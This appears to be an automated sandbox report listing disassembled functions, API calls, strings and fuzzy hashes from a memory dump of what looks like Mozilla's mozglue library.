String ID: ml$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1201911369
Opcode ID: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction ID: 8fcfe4031aeec2e59cb8cdb0fc181e9fe1cd57aec7edbe6baab26d8344da2cb0
Opcode Fuzzy Hash: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction Fuzzy Hash: 90723F71958B858BD361CF34C4513ABF7E5BFDA344F108B1DE48A6B610EB70A886CB46

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C67D82C
<jemalloc>, xrefs: 6C67D827

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

(, xrefs: 6C6B5250

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C6B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C6B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C6B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B707E

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B709C
LocalFree.KERNEL32(?), ref: 6C6B70AA

Strings

### ERROR: %s: %s, xrefs: 6C6B7087
(null), xrefs: 6C6B706A, 6C6B7083

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction ID: 50a75a8df81bdbf4fbc7667b6d45fd098a4b3753a183403824a3fb99ba76178c
Opcode Fuzzy Hash: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction Fuzzy Hash: 0501B9B1A00105AFDB005BA5DC8ADAF7BBCEF89255F010425FA05A3241D6717918CBA9

Function 6C679E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
(root), xrefs: 6C6A354F
expected a Time entry, xrefs: 6C6A2E36

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C6B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

-Infinity, xrefs: 6C6B9E60, 6C6B9E7B
NaN, xrefs: 6C6B9EAB

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C65DC7F
9, xrefs: 6C65DE7F
0, xrefs: 6C65D852
-, xrefs: 6C65D7DD
@, xrefs: 6C65DAF6
1, xrefs: 6C65DBDD
, xrefs: 6C65DA88
8, xrefs: 6C65DC08

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C9459, 6C6C56C7, 6C6C921F, 6C6C5703, 6C6C9269, 6C6C5740, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C9459, 6C6C56C7, 6C6C921F, 6C6C5703, 6C6C9269, 6C6C5740, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

ntdll.dll, xrefs: 6C6BC413
NtQueryVirtualMemory, xrefs: 6C6BC431

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C669F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C66A625
1, xrefs: 6C66A824
' , xrefs: 6C66A3D8
9, xrefs: 6C66A5D6
0, xrefs: 6C66A100
0, xrefs: 6C66AB22

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction ID: b43a99b024e746f77dff5b3497ef81521bc4a43fda2ff7c323182478ba13ad1a
Opcode Fuzzy Hash: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction Fuzzy Hash: 4F82C2315093318BD710CF1BC4902AEB7E1EB85718F658A2EE8D557E92D335E885CB8B

Function 6C65BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C6A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A7A93

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A7AA1

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C6A7B31

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction ID: eb805a557cc71c73acb2cf890751559337e9d58a37693480d16937fe35f10b65
Opcode Fuzzy Hash: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction Fuzzy Hash: 01B17C356083808BCB18CEA4C4507AFB7E2ABC5318F154A1DE99567795DB70ED0BCB8A

Function 6C678850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C6797EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C679813, 6C67985D, 6C679878, 6C679CEB

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction ID: 6d98e4cdb4ba5d77c64b6df662f6a3e74dd51cc53f5a203ab7bd10060c00b1c9
Opcode Fuzzy Hash: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction Fuzzy Hash: E6D2BF71A157018FD728CF28C590715BBE1BF85328F29CB6DD86A8B7A5C731E841CB98

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C6BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C68FE3F), ref: 6C6BB720
RtlNtStatusToDosError.NTDLL ref: 6C6BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C68FE3F), ref: 6C6BB760

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
